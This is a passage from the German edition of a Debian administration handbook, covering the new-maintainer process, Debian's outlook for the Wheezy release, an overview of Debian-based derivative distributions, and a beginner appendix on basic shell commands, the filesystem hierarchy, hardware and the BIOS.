Dieser Schritt bietet dem Kandidaten die Möglichkeit zu erklären, was er innerhalb des Debian-Projekts zu tun beabsichtigt, und zu zeigen, was er zu diesem Zweck bereits getan hat. Debian ist ein pragmatisches Projekt, und es genügt nicht, etwas zu sagen, falls die Taten den Aussagen nicht entsprechen. Wenn die beabsichtigte Rolle innerhalb des Projekts sich auf die Paketbetreuung bezieht, wird im allgemeinen die erste Version des angehenden Pakets von einem Sponsor aus den Reihen der bereits registrierten Debian-Entwickler technisch überprüft und auf die Debian-Server hochgeladen.

GEMEINSCHAFT Sponsern

Debian-Entwickler können Pakete, die von jemand anderem entwickelt werden, „sponsern“. Das heißt, dass sie sie in den offiziellen Debian-Paketdepots veröffentlichen, nachdem sie sie einer sorgfältigen Überprüfung unterzogen haben. Dieses Vorgehen ermöglicht es externen Personen, die noch nicht durch den für neue Betreuer erforderlichen Prozess gegangen sind, gelegentlich zum Projekt beizutragen. Gleichzeitig stellt es sicher, dass alle Pakete, die in Debian enthalten sind, stets von einem offiziellen Mitglied überprüft worden sind.

Schließlich überprüft der Prüfer die technischen (Paketerstellungs-)Fähigkeiten des Kandidaten mit einem ausführlichen Fragebogen. Falsche Antworten sind nicht erlaubt, aber die Beantwortungszeit ist nicht begrenzt. Die gesamte Dokumentation darf benutzt werden, und mehrere Versuche sind möglich, falls die ersten Antworten nicht befriedigend sind. Dieser Schritt beabsichtigt nicht zu diskriminieren, sondern wenigstens ein Mindestmaß an Wissen, über das alle neuen Mitwirkenden verfügen, sicherzustellen.

Dieser Schritt wird im Jargon der Prüfer als Aufgaben & Fähigkeiten bezeichnet.

15.4.2.5. Endgültige Bestätigung

Im allerletzten Schritt wird der gesamte Prozess durch einen DAM (Debian Account Manager) begutachtet. Der DAM wird alle vom Prüfer über den Kandidaten zusammengetragenen Informationen nachprüfen und dann entscheiden, ob ein Konto auf den Debian-Servern eingerichtet wird oder nicht. Falls zusätzliche Informationen benötigt werden, kann die Kontoerstellung verzögert werden. Ablehnungen sind recht selten, falls der Prüfer gute Arbeit bei der Verfolgung des Vorgangs geleistet hat, aber sie kommen manchmal vor. Sie sind niemals endgültig, und der Kandidat kann es später noch einmal versuchen.

Die Entscheidung des DAM ist bindend und (fast) ohne Einspruchsmöglichkeit, woraus sich erklärt, warum die Personen in dieser Position (zur Zeit Jörg Jaspert, Christoph Berg und Enrico Zini) bereits häufig kritisiert worden sind.

Chapter 16. Zusammenfassung: Debians Zukunft

Die Geschichte der Falcot Corp endet in diesem letzten Abschnitt. Debian aber lebt weiter und die Zukunft wird sicher einige interessante Überaschungen bereithalten.

16.1. Zukünftige Entwicklungen

Wochen (oder Monate) bevor eine neue Version von Debian erscheint, wählt der Release Manager einen Codenamen für die nächste Version. Jetzt da Debian Version 6.0 erschienen ist, sind die Entwickler bereits mit Arbeiten an der kommenden Version, Codename Wheezy, beschäftigt…

Es gibt keine offizielle Liste geplanter Änderungen und Debian macht niemals Versprechen bezüglich technischer Ziele kommender Versionen. Trotzdem sind einige Trends der Entwicklung bereits erkennbar und es gibt viele Gründe anzunehmen, dass diese als konkrete Resultate in die kommende Version einfließen werden.

Das Paketverwaltungssystem wird in der Lage sein, Pakete für einige unterschiedliche Architekturen auf dem selben System zu installieren (auch bekannt als "multi-arch Unterstützung"). Dies ermöglicht die Installation von 32-bit-Programmen auf einem 64-bit-System und umgekehrt. Ein weiteres nennenswertes Projekt ist Constantly Usable Testing, welches zum Ziel hat, Testing als eine offiziell unterstützte Distribution zu kennzeichnen, die der allgemeinen Öffentlichkeit empfohlen werden kann. Der Standard "init"-Prozess (sysvinit) könnte auch durch eher moderne Systeme, wie zum Beispiel upstart oder systemd ersetzt werden.

Sicherlich werden alle Hauptsoftwaregruppen einmal ein Hauptrelease erhalten. Zum Beispiel wird Wheezy eine 3.x-Version von GNOME beinhalten, welche einen tiefen und aussichtsreichen Wandel im Paradigma des üblichen grafischen Desktops bringt.

16.2. Debians Zukunft

Zusätzlich zu diesen internen Entwicklungen, kann man realistischerweise erwarten, dass dank der wachsenen Beliebtheit und der Flexibilität von debian-installer weitere Debian-basierte Distributionen das Licht der Welt erblicken werden. Neue spezialisierte Unterprojekte werden gestartet, um die Verbreitung Debians zu neuen Horizonten zu erreichen.

Die Debian-Gemeinschaft wird wachsen. Neue Helfer werden sich dem Projekt anschließen... Vielleicht bist du ja unter ihnen!

Das Debian-Projekt ist stärker als jemals zuvor und hat schon einen guten Teil des Weges bis zur universellen Distribution hinter sich gebracht. Der Insiderwitz innerhalb der Debian-Gemeinde spricht von der Weltherrschaft (World Domination).

Trotz seines Alters und seiner respektablen Größe wächst Debian weiter in alle möglichen (manchmal unerwarteten) Richtungen. Mitwirkende sind voller Ideen, und Diskussionen auf Entwicklungs-Mailinglisten, selbst wenn sie wie Gezänk aussehen, verstärken den Schwung. Debian wird manchmal verglichen mit einem schwarzen Loch einer so starken Dichte, dass jedes neue freie Softwareprojekt angezogen wird.

Über die offenbare Zufriedenheit der meisten Debian-Benutzer hinaus wird ein starker Trend mehr und mehr unumstritten: Die Menschen erkennen zusehends, dass eine Zusammenarbeit anstelle einzeln vor sich hinzuarbeiten, zu besseren Ergebnissen für alle führt. Das ist das Grundprinzip von Distributionen, die sich in Debian als Unterprojekte einfügen.

Das Debian-Projekt ist daher nicht vom Aussterben bedroht...

16.3. Die Zukunft des Buches

Wir würden gerne sehen, wie sich dieses Buch im Geist der Freien Software entwickelt. Deshalb begrüßen wir Beiträge, Hinweise, Vorschläge und Kritik. Bitte leiten Sie diese an Raphaël (<hertzog@debian.org>) oder Roland (<lolando@debian.org>). Die Internet-Seite wird genutzt um alle für die Weiterentwicklung des Buches relevanten Informationen anzusammeln.

→ http://debian-handbook.info/

Wir versuchten möglichst viel Erfahrung, die wir bei der Arbeit mit Debian erlangt haben einzubringen, so dass jeder diese Distribution nutzen und so schnell wie möglich die für ihn größten Vorteile daraus ziehen kann. Wir hoffen, dass dieses Buch einen Beitrag dazu leistet, Debian weniger verwirrend und populärer zu machen, und wir begrüßen Werbung dafür.

Wir würden gerne mit einer persönlichen Bemerkung schließen. Schreiben (und Übersetzen) dieses Buches verschlang ganz schön viel Zeit, die wir sonst in unseren Beruf stecken. Da wir beide freiberufliche Berater sind, garantiert uns jede neue Einkommensquelle die Freiheit, mehr Zeit mit der Verbesserung von Debian zu verbringen; wir hoffen, dass dieses Buch erfolgreich ist und dazu beitragen wird. Bis es so weit ist, beauftragen Sie uns gerne!

→ http://www.freexian.com

→ http://www.gnurandal.com

Bis bald!

Appendix A. Derivate (Abgeleitete Distributionen)

Viele Linux Distributionen sind Derivate von Debian und verwenden Debians Paketverwaltung. Alle haben eigene interessante Eigenschaften und es ist möglich, dass eine von ihnen die gestellten Bedürfnisse besser erfüllt als Debian selbst.

A.1. Beteiligung und Kooperation

Das Debian-Projekt erkennt die Wichtigkeit von abgeleiteten Distributionen an und unterstützt aktiv die Zusammenarbeit zwischen allen Beteiligten. Diese Zusammenarbeit beinhaltet das Integrieren von Verbesserungen die ursprünglich von abgeleiteten Distributionen entwickelt wurden, sodass jeder daraus einen Vorteil zieht und die Arbeit zur langfristigen Pflege reduziert wird.

Dies erklärt, warum abgeleitete Distributionen eingeladen sind, sich in Diskussionen auf der debian-derivatives@lists.debian.org Mailing-Liste einzubringen und am Zensus zu abgeleiteten Distributionen teilzunehmen. Das Ziel der Beteiligung ist es, Informationen zu Arbeiten an den abgeleiteten Distributionen zu sammeln, damit die offiziellen Debian Maintainer besser den Status ihrer Pakete in den Debian Varianten verfolgen können.

→ http://wiki.debian.org/DerivativesFrontDesk

→ http://wiki.debian.org/Derivatives/Census

Lassen Sie uns nun kurz die interessantesten und bekanntesten Derivate ansehen.

A.2. Ubuntu

Ubuntu hat für viel Wirbel gesorgt als es in der Freie-Software-Szene auftauchte. Und das aus gutem Grund: Canonical Ltd., die Firma, die die Distribution erstellt hat stellte 30 Debian-Entwickler ein und gab als langfristiges Ziel an, eine zweimal jährlich erscheinende Distribution für Jedermann auf den Markt zu bringen. Sie verpflichteten sich auch dazu, jede Version für eineinhalb Jahre zu unterstützen und zwar sowohl was die Kernkomponenten betrifft, als auch sicherheitskritische Aspekte.

Diese Ziele bedeuten zwangsläufig auch eine Reduzierung des Umfanges. Ubuntu richtet sein Hauptaugenmerk auf eine kleinere Anzahl an Software-Paketen als Debian und stützt sich primär auf den GNOME-Desktop (obwohl offiziell auch eine KDE-basierte Version namens “Kubuntu” unterstützt wird). Alle Komponenten wurden internationalisiert und in sehr viele Sprachen übersetzt.

Bis jetzt konnte Ubuntu ihren Release-Rythmus einhalten. Ebenfalls veröffentlichen sie Long Term Support (LTS) Versionen, die einen 5-Jahre-Wartungssupport bieten. Im April 2012 ist die aktuelle LTS-Version die Version 12.04 erschienen, Spitzname "Precise Pangolin". Die aktuellste nicht-LTS-Version ist 11.10, Spitzname "Oneiric Ocelot". Die Versionsnummern beschreiben das Veröffentlichungsdatum: Beispielsweise steht 11.10 für den Oktober (10. Monat) des Jahres 2011.

Ubuntu hat mitlerweile eine breite Anhängerschaft in der Öffentlichkeit erreicht. Millionen Benutzer sind beeindruckt von seiner einfachen Installation und der Arbeit die in die Verbesserung der Benutzerfreundlichkeit des Desktops gesteckt wurde.

Trotzdem ist nicht alles eitel Sonnenschein. Speziell die Debian-Entwickler hatten große Hoffnungen darin gesetzt, Ubuntu würde auch direkt zu Debian beitragen. Auch wenn sich die Situation im Laufe der Jahre gebessert hat, haben sich viele über das Ubuntu-Marketing geärgert. Dieses hatte vorgegeben, Ubuntu sei der "gute Bürger" in der Welt der Freien Software, nur weil sie die Änderungen an den Debian-Paketen öffentlich gemacht haben. Befürworter von Freier Software wissen, dass ein automatisch generierter Patch wenig hilfreich für den Entwicklungsprozess ist. Um die Arbeit eines Einzelnen zu integrieren bedarf es der Interaktion und Zusammenarbeit mit den anderen Beteiligten.

Diese Zusammenarbeit ist im Laufe der Zeit besser geworden, vor allem Dank der Arbeit der Ubuntu Gemeinschaft und den Bemühungen, neue Beitragende anzuleiten. Diese Politik wird jedoch von Canonical immer noch nicht bei den allen Mitarbeitern durchgesetzt. Einige blieben ihren Wurzeln treu und bemühen sich (Colin Watson, Martin Pitt und Matthias Klose sind hier positiv hervorzuheben) aber andere, weil oftmals überarbeitet, finden sich nicht mehr in diesem Kreis.

→ http://www.ubuntu.com/

A.3. Knoppix

Knoppix braucht man wohl kaum noch jemandem vorzustellen. Es war die erste Distribution, die sich von einer Live-CD starten ließ. Mit anderen Worten: Knoppix kam auf einer bootfähigen CD-ROM mit einem vollständigen Linux-System, das sich auch auf Rechnern ohne Festplatte starten ließ; alle bereits auf dem Rechner installierten Systeme wurde nicht angerührt. Die automatische Hardware-Erkennung erlaubt es dieser Distribution, auf nahezu allen Rechnern zu arbeiten. Die CD-ROM enthält fast 2 GB (gepackte) Software.

Diese CD-ROM in Verbindung mit einem USB-Stick erlaubt es, Ihre Daten mitzunehmen und auf jedem beliebigen Computer zu arbeiten, ohne Spuren zu hinterlassen. Das liegt daran, dass die Distribution die Festplatte überhaupt nicht benutzt. Knoppix baut hauptsächlich auf LXDE (einem sehr schlanken grafischen Desktop) auf; andere Distributionen nutzen andere Zusammenstellungen von Desktop und Software. Dies wird teilweise durch das Debian live-build-Paket ermöglicht, das es relativ einfach macht, Live-CDs zu erstellen.

→ http://live.debian.net/

Knoppix liefert auch einen Installer: Sie können die Distribution erst als LiveCD ausprobieren und sie dann auf eine Festplatte installieren um bessere Performance zu erhalten.

→ http://www.knopper.net/knoppix/index-en.html

A.4. Linux Mint

Linux Mint ist eine teilweise von der Community gepflegte Distribution, die durch Spenden und Werbung dinanziert wird. Ihr Hauptzweig basiert auf Ubuntu, es gibt jedoch auch eine “Linux Mint Debian Edition”, die ständig weiterentwickelt wird. Sie basiert auf Debian Testing. In beiden Fällen wird die Installation über eine Live-CD gestartet.

Das Ziel der Distribution ist die Vereinfachung des Zugriffs auf fortschrittliche Technologien. Sie bietet spezielle grafische Oberflächen für die übliche Software. Zum Beispiel bietet Linux Mint ein anderes Menüsystem, obwohl es auf GNOME basiert. Auch die Software-Paketverwaltung, obwohl auf APT aufbauend, bietet ein spezielles Interface mit einer Vorab-Prüfung auf evtl. Gefahren und Probleme bei einem Paket-Update.

Linux Mint beinhaltet eine große Anzahl proprietärer Software, um die bestmögliche Nutzererfahrung sicherzustellen. Zum Beispiel: Adobe Flash und Multimedia Codecs.

→ http://www.linuxmint.com/

A.5. SimplyMEPIS

SimplyMEPIS ist eine kommerzielle Distribution, die Knoppix sehr ähnelt. Es bietet ein sofort nutzbares Linux-System von einer Live-CD und enthält eine Reihe unfreier Software: Gerätetreiber für nVidia-Grafikkarten, Flash für die Animationen vieler Webseiten, RealPlayer, Sun's Java usw. Das Ziel ist ein 100 % funktionsfähiges System vom Start weg. Mepis wurde internationalisiert und unterstützt viele Sprachen.

→ http://www.mepis.org/

Diese Distribution basierte ursprünglich auf Debian; For einiger Zeit wanderte Sie ab zu Ubuntu, kam dann aber zurück zu Debian, wodurch sich die Entwickler auf das Entwickeln neuer Funktionen konzentrieren konnten ohne sich um das stabilisieren von Paketen aus Debians Unstable Zweig kümmern zu müssen.

A.6. Aptosid (Ehemals Sidux)

Diese von der Community betriebene Distributin verfolgt die Änderungen in Debian Sid (Unstable), daher der Name. Sie versucht vier mal im Jahr neue Versionen zu veröffentlichen. Die Änderungen haben einen begrenzten Umfang: Ziel ist das Bereitstellen der aktuellsten Software und Treiber für die neueste Hardware bei gleichzeitiger Möglichkeit des jederzeitigen Wechsels zurück zur offiziellen Debian-Distribution.

→ http://aptosid.com

A.7. Damn Small Linux ("verdammt kleines Linux")

Diese Distribution liefert eine sehr kleine LiveCD von nur 50 MB, so dass sie auf eine CD-ROM der Form und Größe einer Visitenkarte passt. Das kann hilfreich sein, um Debian auf einem älteren Computer zu nutzen.

→ http://www.damnsmalllinux.org/

A.8. und viele mehr

Die Distrowatch Website verweist auf eine riesige Zahl von Linux Distributionen, von denen viele auf Debian basieren. Auf dieser Seite zu stöbern ist ein großartiger Weg um ein Gefühl für die Vielfalt in der Welt Freier Software zu bekommen.

→ http://distrowatch.com

Die Suche kann helfen eine Distribution basierend auf ihrer Abstammung aufzuspüren. Im Januar 2012 führte die Auswahl von Debian zu 141 aktiven Distributionen!

→ http://distrowatch.com/search.php

Appendix B. Kurzer Förderkurs

Obwohl dieses Buch vor allem für Administratoren und „Power-User“ gedacht ist, möchten wir motivierte Einsteiger nicht ausschließen. Dieser Anhang enthält daher einen Schnellkurs, der die grundlegenden Konzepte beschreibt, die mit der Handhabung eines Unix-Rechners verbunden sind.

B.1. Shell und grundlegende Befehle

In der Unix-Welt wird jeder Administrator früher oder später die Befehlszeile verwenden müssen; zum Beispiel, wenn das System nicht korrekt startet und nur einen Rettungsmodus mit einer Befehlszeile bereitstellt. Mit einer derartigen Schnittstelle umgehen zu können, stellt daher unter solchen Umständen eine grundlegende Überlebensfertigkeit dar.

KURZER BLICK Den Befehlsinterpreter starten

Eine Befehlszeilen-Umgebung kann von der grafischen Arbeitsfläche aus mit einer als „Terminal“ bezeichneten Anwendung ausgeführt werden, wie sie bei GNOME im Menü unter Anwendungen → Zubehör und bei KDE unter K → Anwendungen → System zu finden ist.

Dieses Kapitel gibt nur einen kurzen Überblick über die Befehle. Sie alle haben zahlreiche Optionen, die hier nicht beschrieben werden. Sie verfügen auch über eine ausführliche Dokumentation auf ihren jeweiligen Handbuchseiten.

B.1.1. Den Verzeichnisbaum durchsuchen und Dateien verwalten

Sobald eine Sitzung gestartet ist, zeigt der Befehl pwd (print working directory) die derzeitige Position im Dateisystem an. Das aktuelle Verzeichnis kann mit dem Befehl cd verzeichnis (cd steht für change directory) gewechselt werden. Das übergeordnete Verzeichnis heißt immer .. (zwei Punkte), während das aktuelle Verzeichnis auch als . (ein Punkt) bekannt ist. Der Befehl ls (list) zeigt den Inhalt eines Verzeichnisses an. Wenn keine zusätzlichen Parameter angegeben werden, wird das aktuelle Verzeichnis angezeigt.

$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

Ein neues Verzeichnis kann mit mkdir verzeichnis erstellt und ein bestehendes (leeres) Verzeichnis mit rmdir verzeichnis entfernt werden. Der Befehl mv (move) ermöglicht es, Dateien und Verzeichnisse zu verschieben oder umzubenennen. Eine Datei wird mit rm datei (remove) gelöscht.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test

B.1.2. Textdateien anzeigen und verändern

Der Befehl cat datei (der dazu gedacht ist, Dateien auf seiner Standardausgabe zu verketten [= concatenate]) liest eine Datei und zeigt ihren Inhalt im Terminal an. Wenn die Datei zu groß ist, um auf den Bildschirm zu passen, kann man ein Seitenwechselprogramm wie less (oder more) benutzen, um sie Seite für Seite anzuzeigen.

Der Befehl editor verweist immer auf einen Text-Editor (wie vi oder nano) und ermöglicht es, Textdateien zu erstellen, zu verändern und zu lesen. Sehr einfache Dateien können mitunter direkt im Befehlsinterpreter mithilfe einer Umleitung erstellt werden: echo „text“ >datei erstellt eine Datei namens datei mit dem Inhalt „text“. Mit einem Befehl wie echo „line“ >>datei kann auch eine Zeile am Ende der Datei hinzugefügt werden.

B.1.3. Nach Dateien und in Dateien suchen

Der Befehl find verzeichnis kriterien sucht verschiedenen Kriterien entsprechend in der Verzeichnishierarchie unterhalb von verzeichnis nach Dateien. Das am häufigsten verwendete Kriterium ist -name name: mit ihm kann eine Datei namentlich gesucht werden.

Der Befehl grep ausdruck dateien durchsucht den Inhalt der Dateien und exzerpiert die Zeilen, die dem regulären Ausdruck entsprechen (siehe ZURÜCK ZU DEN GRUNDLAGEN Regulärer Ausdruck in der Seitenleiste). Das Hinzufügen der Option -r bewirkt eine rekursive Suche in allen Dateien des Verzeichnisses, das als Parameter angegeben wird. So ist es möglich, nach einer Datei zu suchen, wenn nur ein Teil ihres Inhalts bekannt ist.

B.1.4. Prozesse verwalten

Der Befehl ps aux listet die Prozesse auf, die gerade laufen, und ermöglicht es, sie anhand ihrer pid (process id) zu identifizieren. Wenn die pid eines Prozesses bekannt ist, kann man ihm mit dem Befehl kill -signal pid ein Signal schicken (falls der Prozess dem aktuellen Benutzer gehört). Es gibt verschiedene Signale; am häufigsten werden TERM (eine Aufforderung aufzuhören) und KILL (ein harter Abbruch) verwendet.

Der Befehlsinterpreter kann auch Programme im Hintergrund ausführen, wenn der Befehl mit „&“ endet. Durch Verwendung dieses Und-Zeichens übernimmt der Benutzer sofort wieder die Kontrolle über das Terminal, obwohl der Befehl noch läuft (vor dem Benutzer verborgen als Hintergrundprozess). Der Befehl jobs listet die im Hintergrund laufenden Prozesse auf; das Ausführen von fg %job-nummer (für foreground) stellt einen Job wieder im Vordergrund her. Wenn ein Befehl im Vordergrund läuft (weil er entweder normal gestartet wurde oder mit fg wieder in den Vordergrund gebracht wurde), hält das Tastenpaar Control+Z den Prozess an und stellt die Kontrolle über die Befehlszeile wieder her. Der Prozess kann dann im Hintergrund mit bg %job-nummer (für background) fortgesetzt werden.

B.1.5. Systeminformation: Speicher, Speicherplatz, Identität

Der Befehl free zeigt Informationen über den Speicher; df (disk free) meldet den verfügbaren Speicherplatz auf jeder im Dateisystem eingehängten Platte. Seine Option -h (für human readable) rechnet die Größen in eine leichter lesbare Einheit um (üblicherweise Mebibytes oder Gibibytes). In ähnlicher Weise versteht der Befehl free die Optionen -m und -g und zeigt seine Daten dementsprechend entweder in Mebibytes oder Gibibytes an.

$ free total used free shared buffers cached Mem: 1028420 1009624 18796 0 47404 391804 -/+ buffers/cache: 570416 458004 Swap: 2771172 404588 2366584 $ df Filesystem 1K-blocks Used Available Use% Mounted on /dev/sda2 9614084 4737916 4387796 52% / tmpfs 514208 0 514208 0% /lib/init/rw udev 10240 100 10140 1% /dev tmpfs 514208 269136 245072 53% /dev/shm /dev/sda5 44552904 36315896 7784380 83% /home

Der Befehl id zeigt die Identität des Benutzers an, der die Sitzung ausführt, zusammen mit einer Liste der Gruppen, denen er angehört. Da der Zugriff auf einige Dateien oder Geräte auf Gruppenmitglieder beschränkt sein kann, kann es nützlich sein, die verfügbaren Gruppenmitgliedschaften zu überprüfen.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organisation der Dateisystem-Hierarchie

B.2.1. Das Wurzelverzeichnis

Ein Debian-System ist gemäß dem File Hierarchy Standard (FHS) organisiert. Dieser Standard legt den Zweck jedes Verzeichnisses fest. So sind zum Beispiel die Verzeichnisse der obersten Ebene wie folgt bezeichnet:

/bin/: grundlegende Programme;

/boot/: Linux-Kernel und andere Dateien, die für seinen frühen Startvorgang benötigt werden;

/dev/: Gerätedateien;

/etc/: Konfigurationsdateien;

/home/: persönliche Dateien des Benutzers;

/lib/: grundlegende Bibliotheken;

/media/*: Einhängepunkte für entfernbare Geräte (CD-ROM, USB-Sticks und so weiter);

/mnt/: vorübergehender Einhängepunkt;

/opt/: zusätzliche von Dritten bereitgestellte Anwendungen;

/root/: persönliche Dateien des Administrators (zu Root gehörig);

/sbin/: Systemprogramme;

/srv/: Daten, die von auf diesem System untergebrachten Servern benutzt werden;

/tmp/: temporäre Dateien; dieses Verzeichnis wird häufig während des Rechnerstarts geleert;

/usr/: Anwendungen; dieses Verzeichnis ist weiter unterteilt in bin, sbin, lib (nach derselben Logik wie beim Wurzelverzeichnis). Darüber hinaus enthält /usr/share/ architekturunabhängige Daten. /usr/local/ soll vom Administrator dazu verwendet werden, von Hand Anwendungen zu installieren, ohne dabei Dateien zu überschreiben, die das Paketsystem (dpkg) verwaltet.

/var/: veränderliche Daten, die von Daemons gehandhabt werden. Hierzu gehören Protokolldateien, Warteschlangen, Zwischenspeicher und so weiter.

/proc/ und /sys/ sind kernelspezifisch (und nicht Teil der FHS). Sie werden vom Kernel benutzt, um Daten in die Anwenderebene zu exportieren.

B.2.2. Das Home-Verzeichnis des Benutzers

Der Inhalt des Home-Verzeichnisses eines Benutzers ist nicht standardisiert, es gibt aber einige beachtenswerte Gepflogenheiten. Eine ist, dass das Home-Verzeichnis eines Benutzers oft durch eine Tilde („~“) bezeichnet wird. Das ist nützlich zu wissen, denn Befehlszeileninterpreter ersetzen die Tilde automatisch durch das korrekte Verzeichnis (normalerweise /home/benutzer/).

Die Konfigurationsdateien der Anwendungen werden häufig direkt im Home-Verzeichnis des Benutzers gespeichert, jedoch beginnen ihre Namen gewöhnlich mit einem Punkt (zum Beispiel speichert der E-Mail-Client mutt seine Konfiguration in ~/.muttrc). Dateinamen, die mit einem Punkt beginnen, sind standardmäßig unsichtbar, und ls führt sie nur auf, wenn die Option -a benutzt wird.

Einige Programme verwenden mehrere in einem Verzeichnis organisierte Konfigurationsdateien (zum Beispiel ~/.evolution/). Einige Anwendungen (wie zum Beispiel der Web-Browser Iceweasel) benutzen ihr Verzeichnis auch, um einen Cache heruntergeladener Daten zu speichern. Dies bedeutet, dass diese Verzeichnisse schließlich sehr viel Speicherplatz belegen können.

Grafische Arbeitsflächen zeigen normalerweise den Inhalt des Verzeichnisses ~/Desktop/ (oder ~/Bureau/ oder was immer die entsprechende Übersetzung für Systeme ist, die nicht in Englisch konfiguriert sind) auf der Arbeitsfläche an (das heißt, was auf dem Bildschirm sichtbar ist, wenn alle Anwendungen geschlossen oder zu Piktogrammen minimiert sind).

Schließlich speichert das E-Mail-System ankommende E-Mails manchmal in einem ~/Mail/-Verzeichnis.

B.3. Das Innenleben eines Rechners: die verschiedenen beteiligten Schichten

Ein Rechner wird häufig als etwas ziemlich Abstraktes angesehen, und die äußerlich sichtbare Schnittstelle ist wesentlich einfacher als seine interne Komplexität. Diese Komplexität ergibt sich zum Teil aus der Zahl der beteiligten Teile. Diese Teile können jedoch in Form von Schichten betrachtet werden, wobei eine Schicht nur mit der unmittelbar darüber- und darunterliegenden interagiert.

Ein Endbenutzer kann zurechtkommen, ohne diese Einzelheiten zu kennen... solange alles funktioniert. Wenn man einem Problem wie „Das Internet geht nicht!“ gegenübersteht, besteht der erste Schritt darin herauszufinden, aus welcher Schicht das Problem herrührt. Funktioniert die Netzwerkkarte (Hardware)? Wird sie vom Rechner erkannt? Sieht sie der Linux-Kernel? Sind die Netzwerkparameter richtig eingestellt? All diese Fragen grenzen die zutreffende Schicht ein und richten das Augenmerk auf die mögliche Quelle des Problems.

B.3.1. Die unterste Schicht: Die Hardware

Lassen Sie uns mit der grundlegenden Erinnerung beginnen, dass ein Rechner in erster Linie eine Zusammenstellung von Hardwareelementen ist. Es gibt im Allgemeinen eine Hauptplatine mit einem (oder mehreren) Prozessor(en), etwas RAM, Gerätesteuerungen und Erweiterungssteckplätze für Optionskarten (für weitere Gerätesteuerungen). Von diesen Steuerungen sind vor allem das IDE (paralleles ATA), das SCSCI und das serielle ATA zum Anschluss von Speichergeräten wie Festplatten beachtenswert. Zu den weiteren Steuerungen gehören das USB, das eine große Vielfalt an Geräten (von Webkameras zu Thermometern, von Tastaturen zu Systemen für die Hausautomation) aufnehmen kann, und das IEEE_1394 (Firewire). Diese Steuerungen ermöglichen es häufig, mehrere Geräte anzuschließen. Daher wird das vollständige Subsystem, für das eine Steuerung zuständig ist, gewöhnlich als „Bus“ bezeichnet. Zu den Optionskarten gehören Grafikkarten (an die Bildschirme angeschlossen werden), Soundkarten, Netzwerkschnittstellenkarten und so weiter. Bei einigen Hauptplatinen sind diese Bestandteile bereits fest eingebaut, so dass sie keine Optionskarten benötigen.

IN DER PRAXIS Überprüfen, ob die Hardware funktioniert

Zu überprüfen, ob ein Hardwareteil funktioniert, kann schwierig sein. Dagegen lässt sich manchmal recht einfach feststellen, dass es nicht funktioniert.

Ein Festplattenlaufwerk besteht aus sich drehenden Platten und sich bewegenden Magnetköpfen. Wenn eine Festplatte angeschaltet wird, erzeugt der Plattenmotor ein charakteristisches Surren. Außerdem gibt er Energie in Form von Hitze ab. Deshalb ist ein Festplattenlaufwerk, das beim Anschalten kalt und still bleibt, defekt.

Netzwerkkarten besitzen häufig LEDs, die den Verbindungsstatus anzeigen. Falls ein Kabel angeschlossen ist und zu einem funktionierenden Netzwerk-Hub oder -Schalter führt, wird zumindest eine LED an sein. Falls keine LED leuchtet, ist entweder die Karte selbst, das Netzwerkgerät oder das Kabel zwischen ihnen defekt. Der nächste Schritt besteht deshalb dann darin, jede Komponente einzeln zu überprüfen.

Einige Optionskarten - insbesondere 3D-Videokarten - enthalten Kühlungen, wie Kühlkörper und Ventilatoren. Wenn sich der Ventilator nicht dreht, obwohl die Karte angeschaltet ist, besteht eine plausible Erklärung darin, dass die Karte überhitzt ist. Das Gleiche gilt auch für den oder die Hauptprozessor(en) auf der Hauptplatine.

B.3.2. Der Starter: das BIOS

Hardware ist für sich genommen ohne entsprechende Software, die sie steuert, nicht in der Lage, sinnvolle Tätigkeiten auszuführen. Der Zweck des Betriebssystems und der Anwendungen besteht darin, die Hardware zu kontrollieren und mit ihr zu interagieren. Ihrerseits benötigen sie funktionierende Hardware, um zu laufen.

Diese Symbiose zwischen Hardware und Software kommt nicht von allein zustande. Wenn der Rechner zu Anfang hochgefahren wird, muss zunächst einiges eingerichtet werden. Diese Rolle übernimmt das BIOS, eine kleines Stück Software, das in der Hauptplatine eingebettet ist und beim Hochfahren automatisch ausgeführt wird. Seine Hauptaufgabe besteht darin, nach Software Ausschau zu halten, an die es die Kontrolle übergeben kann. Normalerweise bedeutet dies, nach der ersten Festplatte mit einem Boot-Sektor zu suchen (auch Master Boot Record oder MBR genannt), dann diesen Boot-Sektor zu laden und ihn auszuführen. Von da an ist das BIOS (bis zum nächsten Hochfahren) normalerweise nicht mehr beteiligt.

HILFSPROGRAMM Setup, das BIOS-Konfigurationsprogramm

Das BIOS enthält auch ein Stück Software namens Setup, das dazu bestimmt ist, bestimmte Aspekte des Rechners einzustellen. Insbesondere lässt sich mit ihm das bevorzugte Startgerät auswählen (zum Beispiel das Disketten- oder das CD-ROM-Laufwerk), die Systemuhr einstellen und so weiter. Um Setup zu starten, muss normalerweise unmittelbar nach dem Einschalten des Rechners eine Taste gedrückt werden. Diese Taste ist häufig Entf oder Esc, manchmal auch F2 oder F10. Meistens wird die Auswahlmöglichkeit während des Hochfahrens kurz eingeblendet.

Der Bootsektor enthält seinerseits ein Stück Software, Boot-Loader genannt, dessen Zweck darin besteht, ein Betriebssystem zu finden und auszuführen. Da dieser Boot-Loader nicht auf der Hauptplatine eingebettet ist, sondern von einer Platte geladen wird, kann er intelligenter als das BIOS sein, woraus sich erklärt, warum nicht das BIOS selbst das Betriebssystem lädt. Zum Beispiel kann der Boot-Loader (auf einem Linux-System häufig GRUB) die verfügbaren Betriebssysteme auflisten und den Benutzer bitten, eines auszuwählen. Normalerweise ist dies mit einem Zeitlimit und einer voreingestellten Auswahl versehen. Manchmal kann der Benutzer auch zusätzliche Parameter zur Weiterleitung an den Kernel angeben und so weiter. Schließlich wird ein Kernel gefunden, in den Speicher geladen und ausgeführt.

